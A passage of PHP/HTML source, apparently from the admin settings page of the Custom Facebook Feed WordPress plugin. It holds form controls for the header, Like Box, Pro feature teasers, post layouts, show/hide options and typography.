'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_header_text_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_header_text_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_header_text_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_header_text_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left" scope="row"><label><?php _e('Text Weight'); ?></label><code class="cff_shortcode"> headertextweight Eg: headertextweight=bold</code></th> <td> <select name="cff_header_text_weight" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_header_text_weight == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="normal" <?php if($cff_header_text_weight == "normal") echo 'selected="selected"' ?> >Normal</option> <option value="bold" <?php if($cff_header_text_weight == "bold") echo 'selected="selected"' ?> >Bold</option> </select> </td> </tr> <tr> <th class="bump-left" scope="row"><label><?php _e('Text Color'); ?></label><code class="cff_shortcode"> headertextcolor Eg: headertextcolor=333</code></th> <td> <input name="cff_header_text_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_header_text_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr id="author"><!-- Quick link --></tr> </tbody> </table> <?php submit_button(); ?> <hr id="likebox" /><!-- Quick link --> <h3><?php _e('Like Box / Page Plugin', 'custom-facebook-feed'); ?></h3> <table class="form-table"> <tbody> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Show the Like Box', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> include exclude Eg: include/exclude=likebox</code></th> <td> <input type="checkbox" name="cff_show_like_box" id="cff_show_like_box" <?php if($cff_show_like_box == true) echo 'checked="checked"' ?> /> <?php _e('Yes', 'custom-facebook-feed'); ?> <a class="cff-tooltip-link" href="JavaScript:void(0);"><?php _e('What is the Like Box?'); ?></a> <p class="cff-tooltip cff-more-info"><?php _e("The Like Box is an official Facebook widget that we include at the bottom or top of the feed. It contains information about your Facebook Page and allows users to 'like' it directly on your site."); ?></p> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Position', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> likeboxpos Eg: likeboxpos=top</code></th> <td> <select name="cff_like_box_position"> <option value="bottom" <?php if($cff_like_box_position == "bottom") echo 'selected="selected"' ?> ><?php _e('Bottom of feed', 'custom-facebook-feed'); ?></option> <option value="top" <?php if($cff_like_box_position == "top") echo 'selected="selected"' ?> ><?php _e('Top of feed', 'custom-facebook-feed'); ?></option> </select> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Display outside the scrollable area', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> likeboxoutside Eg: likeboxoutside=true</code></th> <td> <input type="checkbox" name="cff_like_box_outside" id="cff_like_box_outside" <?php if($cff_like_box_outside == true) echo 'checked="checked"' ?> /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("This positions the Like Box widget outside of the feed container. It is useful if your feed has a vertical scrollbar as it places it outside of the scrollable area and fixes it at the top or bottom."); ?></p> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Show faces of fans', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> likeboxfaces Eg: likeboxfaces=true</code></th> <td> <input type="checkbox" name="cff_like_box_faces" id="cff_like_box_faces" <?php if($cff_like_box_faces == true) echo 'checked="checked"' ?> /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("This will display thumbnail photos within the Like Box of some of the people who like your page."); ?></p> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Include the Cover Photo', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> likeboxcover Eg: likeboxcover=true</code></th> <td> <input type="checkbox" name="cff_like_box_cover" id="cff_like_box_cover" <?php if($cff_like_box_cover == true) echo 'checked="checked"' ?> /> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Use a small header', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> likeboxsmallheader Eg: likeboxsmallheader=true</code></th> <td> <input type="checkbox" name="cff_like_box_small_header" id="cff_like_box_small_header" <?php if($cff_like_box_small_header == true) echo 'checked="checked"' ?> /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("This will display a shorter version of the Like Box with a slimmer cover photo and less information."); ?></p> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Hide custom call to action button', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> likeboxhidebtn Eg: likeboxhidebtn=true</code></th> <td> <input type="checkbox" name="cff_like_box_hide_cta" id="cff_like_box_hide_cta" <?php if($cff_like_box_hide_cta == true) echo 'checked="checked"' ?> /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("If you have a custom 'Call To Action' button for your Facebook Page then this will hide it and display the default Like Box button."); ?></p> </td> </tr> <tr valign="top"> <th class="bump-left" for="cff_likebox_width" scope="row"><label><?php _e('Custom Like Box Width', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> likeboxwidth Eg: likeboxwidth=500</code></th> <td> <input name="cff_likebox_width" type="text" value="<?php esc_attr_e( $cff_likebox_width, 'custom-facebook-feed' ); ?>" size="3" /><span class="cff-pixel-label">px</span> <span><i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('Default: 340, Min: 180, Max: 500', 'custom-facebook-feed'); ?></i></span> </td> </tr> </tbody> </table> <?php submit_button(); ?> <hr /> <h3><?php _e('"Load More" button'); ?></h3> <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=settings&utm_medium=loadmore" target="_blank">Upgrade to Pro to enable the Load More button</a> <p class="submit cff-expand-button"> <a href="javascript:void(0);" class="button"><b>+</b> Show Pro Options</a> </p> <table class="form-table cff-expandable-options"> <tbody> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Show "Load More" Button'); ?></label></th> <td> <input type="checkbox" name="cff_load_more" id="cff_load_more" disabled /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("The Load More button is added to the bottom of your feed and allows you to dynamically load more posts into your feed. Use the button below to reveal customization settings for the button."); ?></p> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Button Background Color'); ?></label></th> <td> <input name="cff_load_more_bg" type="text" class="cff-colorpicker" disabled /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Button Hover Color'); ?></label></th> <td> <input name="cff_load_more_bg_hover" type="text" class="cff-colorpicker" disabled /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Button Text Color'); ?></label></th> <td> <input name="cff_load_more_text_color" type="text" class="cff-colorpicker" disabled /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Button Text'); ?></label></th> <td> <input name="cff_load_more_text" type="text" size="30" disabled /> </td> </tr> </tbody> </table> <hr /> <h3><?php _e('Lightbox'); ?></h3> <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=settings&utm_medium=lightbox" target="_blank">Upgrade to Pro to enable the Lightbox</a> <p class="submit cff-expand-button"> <a href="javascript:void(0);" class="button"><b>+</b> Show Pro Options</a> </p> <table class="form-table cff-expandable-options"> <tbody> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Disable Popup Lightbox'); ?></label><code class="cff_shortcode"> disablelightbox Eg: disablelightbox=true</code></th> <td> <input name="cff_disable_lightbox" type="checkbox" id="cff_disable_lightbox" disabled /> <label for="cff_disable_lightbox"><?php _e('Disable'); ?></label> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Background Color'); ?></label></th> <td> <input name="cff_lightbox_bg_color" type="text" class="cff-colorpicker" disabled /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Text Color'); ?></label></th> <td> <input name="cff_lightbox_text_color" type="text" class="cff-colorpicker" disabled /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Link Color'); ?></label></th> <td> <input name="cff_lightbox_link_color" type="text" class="cff-colorpicker" disabled /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Show Comments in Lightbox'); ?></label><code class="cff_shortcode"> lightboxcomments Eg: lightboxcomments=true</code></th> <td> <input type="checkbox" name="cff_lightbox_comments" id="cff_lightbox_comments" disabled/> <span><i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('For timeline posts only'); ?></i></span> </td> </tr> </tbody> </table> <hr /> <h3><?php _e('Filter Content by String'); ?></h3> <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=settings&utm_medium=filtering" target="_blank">Upgrade to Pro to enable Filtering</a> <p class="submit cff-expand-button"> <a href="javascript:void(0);" class="button"><b>+</b> Show Pro Options</a> </p> <table class="form-table cff-expandable-options"> <tbody> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Only show posts containing:'); ?></label></th> <td> <input name="cff_filter_string" type="text" size="25" disabled /> <i style="color: #666; font-size: 11px;">Eg. #smash, balloon </i> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("You can use this setting to only display posts containing these text strings. Separate multiple strings using commas. If only a few posts, or none at all, are displayed then you may need to increase the plugin's 'Post Limit' settings. See <a href='https://smashballoon.com/filtering-your-facebook-posts/' target='_blank'>this FAQ</a> to learn more about how filtering works."); ?></p> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e("Don't show posts containing:"); ?></label></th> <td> <input name="cff_exclude_string" type="text" size="25" disabled /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("You can use this setting to remove any posts containing these text strings. Separate multiple strings using commas."); ?></p> </td> </tr> </tbody> </table> <hr /> <?php submit_button(); ?> <p style="padding-top: 5px;"><i class="fa fa-life-ring" aria-hidden="true"></i> <?php _e('Having trouble using the plugin? Check out the', 'custom-facebook-feed'); ?> <a href='admin.php?page=cff-top&tab=support'><?php _e('Support', 'custom-facebook-feed'); ?></a> <?php _e('tab', 'custom-facebook-feed'); ?>.</p> <div class="cff_quickstart"> <h3><i class="fa fa-rocket" aria-hidden="true"></i> Display your feed</h3> <p>Copy and paste this shortcode directly into the page, post or widget where you'd like to display the feed: <input type="text" value="[custom-facebook-feed]" size="22" readonly="readonly" style="text-align: center;" onclick="this.focus();this.select()" title="To copy, click the field then press Ctrl + C (PC) or Cmd + C (Mac)."></p> <p>Find out how to display <a href="https://smashballoon.com/using-shortcode-options-customize-facebook-feeds/" target="_blank"><b>multiple feeds</b></a>.</p> </div> <a href="https://smashballoon.com/custom-facebook-feed/demo/?utm_campaign=facebook-free&utm_source=footer&utm_medium=ad" target="_blank" class="cff-pro-notice"><img src="<?php echo plugins_url( 'img/pro.png?2019' , __FILE__ ) ?>" /></a> <?php } //End General tab ?> <?php if( $cff_active_tab == 'post_layout' ) { //Start Post Layout tab ?> <p class="cff_contents_links" id="layout"> <span>Jump to: </span> <a href="#showhide">Show/Hide</a> </p> <input type="hidden" name="<?php echo $style_post_layout_hidden_field_name; ?>" value="Y"> <br /> <h3><?php _e('Post Layouts', 'custom-facebook-feed'); ?></h3> <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=settings&utm_medium=layouts" target="_blank"><?php _e('Upgrade to Pro to enable layouts', 'custom-facebook-feed'); ?></a> <p class="submit cff-expand-button"> <a href="javascript:void(0);" class="button"><b>+</b> Show Pro Options</a> </p> <div class="form-table cff-expandable-options cff-pro"> <p><?php _e("Choose a layout from the 3 below."); ?> <div class="cff-layouts"> <div class="cff-layout cff-thumb <?php if($cff_preset_layout == "thumb") echo "cff-layout-selected"; ?>"> <h3><input type="radio" name="cff_preset_layout" id="cff_preset_layout" value="thumb" disabled /> <?php _e('Thumbnail'); ?></h3> <img src="<?php echo plugins_url( 'img/layout-thumb.png' , __FILE__ ) ?>" alt="Thumbnail Layout" /> </div> <div class="cff-layout cff-half <?php if($cff_preset_layout == "half") echo "cff-layout-selected"; ?>"> <h3><input type="radio" name="cff_preset_layout" id="cff_preset_layout" value="half" disabled /> <?php _e('Half-width'); ?></h3> <img src="<?php echo plugins_url( 'img/layout-half.png' , __FILE__ ) ?>" alt="Half Width Layout" /> </div> <div class="cff-layout cff-full <?php if($cff_preset_layout == "full") echo "cff-layout-selected"; ?>"> <h3><input type="radio" name="cff_preset_layout" id="cff_preset_layout" value="full" disabled /> <?php _e('Full-width'); ?></h3> <img src="<?php echo plugins_url( 'img/layout-full.png' , __FILE__ ) ?>" alt="Full Width Layout" /> </div> </div> <table class="form-table"> <tbody> <tr class="cff-media-position" class="cff-pro"> <th><label for="cff_media_position" class="bump-left"><?php _e('Photo/Video Position'); ?></label></th> <td> <select name="cff_media_position" disabled> <option value="below">Below Text</option> <option value="above">Above Text</option> </select> </td> </tr> <tr class="cff-pro"> <th><label for="cff_media_position" class="bump-left"><?php _e('Photo/Video Position'); ?></label></th> <td> <select name="cff_media_position" disabled> <option value="below">Below Text</option> <option value="above">Above Text</option> </select> <i style="color: #666; font-size: 11px; margin-left: 5px;">Only applies to Full-width layout</i> </td> </tr> <tr class="cff-pro"> <th><label for="cff_enable_narrow" class="bump-left"><?php _e('Always use the Full-width layout when feed is narrow?'); ?></label></th> <td> <input name="cff_enable_narrow" type="checkbox" id="cff_enable_narrow" disabled /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("When displaying posts in either a narrow column or on a mobile device the plugin will automatically default to using the 'Full-width' layout as it's better suited to narrow sizes."); ?></p> </td> </tr> <tr class="cff-pro"> <th><label for="cff_one_image" class="bump-left"><?php _e('Only show one image per post'); ?></label></th> <td> <input name="cff_one_image" type="checkbox" id="cff_one_image" disabled /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("If a Facebook post contains more than photo then enabling this setting means that only the first photo in the post is displayed."); ?></p> </td> </tr> </tbody> </table> </div> <table class="form-table" id="showhide"> <hr /> <h3><?php _e('Show/Hide'); ?></h3> <table class="form-table"> <tbody> <tr valign="top"> <th scope="row"><label><?php _e('Include the following in posts: <i style="font-size: 11px;">(when applicable)</i>'); ?></label><code class="cff_shortcode"> include exclude Eg: include=text,date,likebox Eg: exclude=likebox Options: author, text, desc, sharedlinks, date, eventtitle, eventdetails, link, likebox</code></th> <td class="cff_show_hide_settings"> <div> <input name="cff_show_author" type="checkbox" id="cff_show_author" <?php if($cff_show_author == true) echo "checked"; ?> /> <label for="cff_show_author"> <b><?php _e('Author Name and Avatar'); ?></b> <p class="cff-show-hide-desc"><?php _e("The author name and avatar image that's shown at the top of each timeline post"); ?></p> </label> </div> <div> <input name="cff_show_text" type="checkbox" id="cff_show_text" <?php if($cff_show_text == true) echo "checked"; ?> /> <label for="cff_show_text"> <b><?php _e('Post Text'); ?></b> <p class="cff-show-hide-desc"><?php _e("The main text of the Facebook post"); ?></p> </label> </div> <div> <input type="checkbox" name="cff_show_desc" id="cff_show_desc" <?php if($cff_show_desc == true) echo 'checked="checked"' ?> /> <label for="cff_show_desc"> <b><?php _e('Description Text'); ?></b> <p class="cff-show-hide-desc"><?php _e("The description text associated with shared photos, videos, or links"); ?></p> </label> </div> <div> <input type="checkbox" name="cff_show_shared_links" id="cff_show_shared_links" <?php if($cff_show_shared_links == true) echo 'checked="checked"' ?> /> <label for="cff_show_shared_links"> <b><?php _e('Shared Link Box'); ?></b> <p class="cff-show-hide-desc"><?php _e("The link info box that's created when a link is shared in a Facebook post"); ?></p> </label> </div> <div> <input type="checkbox" name="cff_show_date" id="cff_show_date" <?php if($cff_show_date == true) echo 'checked="checked"' ?> /> <label for="cff_show_date"> <b><?php _e('Date'); ?></b> <p class="cff-show-hide-desc"><?php _e("The date of the post"); ?></p> </label> </div> <div class="cff-disabled"> <input type="checkbox" name="cff_show_media" disabled /> <label for="cff_show_media"> <b><?php _e('Photos and Videos'); ?></b> <p class="cff-show-hide-desc"><?php _e("Any photos or videos in your posts"); ?></p> </label> </div> <div> <input type="checkbox" name="cff_show_media_link" id="cff_show_media_link" <?php if($cff_show_media_link == true) echo 'checked="checked"' ?> /> <label for="cff_show_media_link"> <b><?php _e('Media link', 'custom-facebook-feed'); ?></b> <p class="cff-show-hide-desc"><?php _e("Display an icon and link to Facebook if the post contains either a photo or video"); ?></p> </label> </div> <div> <input type="checkbox" name="cff_show_event_title" id="cff_show_event_title" <?php if($cff_show_event_title == true) echo 'checked="checked"' ?> /> <label for="cff_show_event_title"> <b><?php _e('Event Title'); ?></b> <p class="cff-show-hide-desc"><?php _e("The title of an event"); ?></p> </label> </div> <div> <input type="checkbox" name="cff_show_event_details" id="cff_show_event_details" <?php if($cff_show_event_details == true) echo 'checked="checked"' ?> /> <label for="cff_show_event_details"> <b><?php _e('Event Details'); ?></b> <p class="cff-show-hide-desc"><?php _e("The information associated with an event"); ?></p> </label> </div> <div class="cff-disabled"> <input type="checkbox" name="cff_show_meta" disabled /> <label for="cff_show_meta"> <b><?php _e('Like, Shares, and Comments'); ?></b> <p class="cff-show-hide-desc"><?php _e("The comments box displayed at the bottom of each timeline post"); ?></p> </label> </div> <div> <input type="checkbox" name="cff_show_link" id="cff_show_link" <?php if($cff_show_link == true) echo 'checked="checked"' ?> /> <label for="cff_show_link"> <b><?php _e('Post Action Links'); ?></b> <p class="cff-show-hide-desc"><?php _e('The "View on Facebook" and "Share" links at the bottom of each post'); ?></p> </label> </div> </td> </tr> <tr id="poststyle"><!-- Quick link --></tr> </tbody> </table> <?php submit_button(); ?> <a href="https://smashballoon.com/custom-facebook-feed/demo/?utm_campaign=facebook-free&utm_source=footer&utm_medium=ad" target="_blank" class="cff-pro-notice"><img src="<?php echo plugins_url( 'img/pro.png' , __FILE__ ) ?>" /></a> <?php } //End Post Layout tab ?> <?php if( $cff_active_tab == 'typography' ) { //Start Typography tab ?> <p class="cff_contents_links" id="postitem"> <span>Jump to: </span> <a href="#postitem">Post Item</a> <a href="#author">Post Author</a> <a href="#text">Post Text</a> <a href="#description">Shared Post Description</a> <a href="#date">Post Date</a> <a href="#links">Shared Link Boxes</a> <a href="#eventtitle">Event Title</a> <a href="#eventdate">Event Date</a> <a href="#eventdetails">Event Details</a> <a href="#comments">Comments Box</a> <a href="#action">Post Action Links</a> </p> <input type="hidden" name="<?php echo $style_typography_hidden_field_name; ?>" value="Y"> <br /> <h3><?php _e('Post Item'); ?></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left" scope="row"><label><?php _e('Post Style'); ?></label><code class="cff_shortcode"> poststyle Eg: poststyle=regular/boxed</code></th> <td> <?php //If a post style isn't set (eg on initial update) then set it to be regular unless a bgcolor is set if( $cff_post_style == '' || empty($cff_post_style) ){ $cff_post_style = 'regular'; if( strlen($cff_post_bg_color) > 1 ) $cff_post_style = 'boxed'; } ?> <div class="cff-layouts"> <div class="cff-post-style cff-layout <?php if($cff_post_style == "regular") echo "cff-layout-selected"; ?>"> <h3><input type="radio" name="cff_post_style" id="cff_post_style" class="cff_post_style" value="regular" <?php if($cff_post_style == "regular") echo "checked"; ?> /> <?php _e('Regular'); ?></h3> <img src="<?php echo plugins_url( 'img/post-style.png' , __FILE__ ) ?>" alt="Regular Post Style" /> <img src="<?php echo plugins_url( 'img/post-style.png' , __FILE__ ) ?>" alt="Regular Post Style" /> </div> <div class="cff-post-style cff-boxed cff-layout <?php if($cff_post_style == "boxed") echo "cff-layout-selected"; ?>"> <h3><input type="radio" name="cff_post_style" id="cff_post_style" class="cff_post_style" value="boxed" <?php if($cff_post_style == "boxed") echo "checked"; ?> /> <?php _e('Boxed'); ?></h3> <img src="<?php echo plugins_url( 'img/post-style.png' , __FILE__ ) ?>" alt="Box Post Style" style="margin-top: -2px;" /> <img src="<?php echo plugins_url( 'img/post-style.png' , __FILE__ ) ?>" alt="Box Post Style" style="margin-top: 2px;" /> </div> <div class="cff-post-style-settings cff-regular"> <div class="cff-row"> <label><?php _e('Separating Line Color'); ?></label><code class="cff_shortcode"> sepcolor Eg: sepcolor=CFCFCF</code> <br /> <input name="cff_sep_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_sep_color) ); ?>" class="cff-colorpicker" /> </div> <div class="cff-row"> <label><?php _e('Separating Line Thickness'); ?></label><code class="cff_shortcode"> sepsize Eg: sepsize=3</code> <br /> <input name="cff_sep_size" type="text" value="<?php esc_attr_e( $cff_sep_size ); ?>" size="1" /><span class="cff-pixel-label">px</span> <i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('Leave empty to hide'); ?></i> </div> </div> <div class="cff-post-style-settings cff-boxed"> <div class="cff-row"> <label><?php _e('Background Color'); ?></label><code class="cff_shortcode"> postbgcolor Eg: postbgcolor=ff0000</code> <br /> <input name="cff_post_bg_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_post_bg_color) ); ?>" class="cff-colorpicker" /> </div> <div class="cff-row"> <label><?php _e('Rounded Corner Size'); ?></label><code class="cff_shortcode"> postcorners Eg: postcorners=10</code> <br /> <input name="cff_post_rounded" type="text" value="<?php esc_attr_e( $cff_post_rounded ); ?>" size="3" /><span class="cff-pixel-label">px</span> <span><i style="color: #666; font-size: 11px; margin-left: 5px;">Eg. 5</i></span> </div> <div class="cff-row"> <label><?php _e('Box Shadow'); ?></label><code class="cff_shortcode"> boxshadow Eg: boxshadow=true</code> <br /> <input type="checkbox" name="cff_box_shadow" id="cff_box_shadow" <?php if($cff_box_shadow == true) echo 'checked="checked"' ?> /> <i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('Adds a subtle shadow around the post'); ?></i> </div> </div> </div> </td> </tr> </tbody> </table> <hr /> <h3><?php _e('Post Author'); ?></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left"><label for="cff_author_size" class="bump-left"><?php _e('Text Size'); ?></label><code class="cff_shortcode"> authorsize Eg: authorsize=20</code></th> <td> <select name="cff_author_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_author_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_author_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_author_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_author_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_author_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_author_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_author_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_author_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_author_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_author_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_author_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_author_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_author_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_author_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_author_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_author_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_author_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_author_color" class="bump-left"><?php _e('Text Color'); ?></label><code class="cff_shortcode"> authorcolor Eg: authorcolor=ff0000</code></th> <td> <input name="cff_author_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_author_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr id="text"><!-- Quick link --></tr> </tbody> </table> <div style="margin-top: -15px;"> <?php submit_button(); ?> </div> <hr /> <h3><?php _e('Post Text'); ?></h3> <table class="form-table"> <tbody> <tr valign="top"> <th class="bump-left" scope="row"><label class="bump-left"><?php _e('Maximum Post Text Length'); ?></label><code class="cff_shortcode"> textlength Eg: textlength=200</code></th> <td> <input name="cff_title_length" type="text" value="<?php esc_attr_e( $cff_title_length_val ); ?>" size="4" /><span class="cff-pixel-label"><?php _e('Characters'); ?></span> <i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('Eg. 200'); ?></i> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("If the post text exceeds this length then a 'See More' link will be added. Leave empty to set no maximum length."); ?></p> </td> </tr> <tr> <th class="bump-left"><label for="cff_title_format" class="bump-left"><?php _e('Format'); ?></label><code class="cff_shortcode"> textformat Eg: textformat=h4</code></th> <td> <select name="cff_title_format" class="cff-text-size-setting"> <option value="p" <?php if($cff_title_format == "p") echo 'selected="selected"' ?> >Paragraph</option> <option value="h3" <?php if($cff_title_format == "h3") echo 'selected="selected"' ?> >Heading 3</option> <option value="h4" <?php if($cff_title_format == "h4") echo 'selected="selected"' ?> >Heading 4</option> <option value="h5" <?php if($cff_title_format == "h5") echo 'selected="selected"' ?> >Heading 5</option> <option value="h6" <?php if($cff_title_format == "h6") echo 'selected="selected"' ?> >Heading 6</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_title_size" class="bump-left"><?php _e('Text Size'); ?></label><code class="cff_shortcode"> textsize Eg: textsize=12</code></th> <td> <select name="cff_title_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_title_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_title_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_title_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_title_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_title_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_title_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_title_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_title_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_title_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_title_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_title_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_title_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_title_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_title_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_title_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_title_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_title_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_title_weight" class="bump-left"><?php _e('Text Weight'); ?></label><code class="cff_shortcode"> textweight Eg: textweight=bold</code></th> <td> <select name="cff_title_weight" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_title_weight == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="normal" <?php if($cff_title_weight == "normal") echo 'selected="selected"' ?> >Normal</option> <option value="bold" <?php if($cff_title_weight == "bold") echo 'selected="selected"' ?> >Bold</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_title_color" class="bump-left"><?php _e('Text Color'); ?></label><code class="cff_shortcode"> textcolor Eg: textcolor=333</code></th> <td> <input name="cff_title_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_title_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_posttext_link_color" class="bump-left"><?php _e('Link Color'); ?></label><code class="cff_shortcode"> textlinkcolor Eg: textlinkcolor=E69100</code></th> <td> <input name="cff_posttext_link_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_posttext_link_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_title_link" class="bump-left"><?php _e('Link Text to Facebook Post'); ?></label><code class="cff_shortcode"> textlink Eg: textlink=true</code></th> <td><input type="checkbox" name="cff_title_link" id="cff_title_link" <?php if($cff_title_link == true) echo 'checked="checked"' ?> /></td> </tr> <tr> <th class="bump-left"><label for="cff_post_tags" class="bump-left"><?php _e('Link Post Tags'); ?></label><code class="cff_shortcode"> posttags Eg: posttags=false</code></th> <td> <input type="checkbox" name="cff_post_tags" id="cff_post_tags" <?php if($cff_post_tags == true) echo 'checked="checked"' ?> /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><?php _e('What are Post Tags?'); ?></a> <p class="cff-tooltip cff-more-info"><?php _e("When you tag another 